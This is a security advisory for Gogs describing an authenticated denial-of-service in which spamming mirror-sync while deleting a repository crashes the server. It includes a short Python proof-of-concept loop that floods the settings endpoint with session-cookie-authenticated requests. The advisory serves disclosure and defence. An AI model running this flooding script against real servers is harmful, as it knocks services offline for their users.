PT-2026-6856 · Go · Gogs.Io/Gogs

Published

2026-02-06

·

Updated

2026-02-06

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync
import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
  "Cookie": "lang=en-US; i like gogs=fe32281ab84ae868; csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
  " csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
  "action": "mirror-sync",
}

while True:
  print("syncing")
  response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.

Fix

Missing Authorization

Weakness Enumeration

Related Identifiers

GHSA-CR88-6MQM-4G57

Affected Products

Gogs.Io/Gogs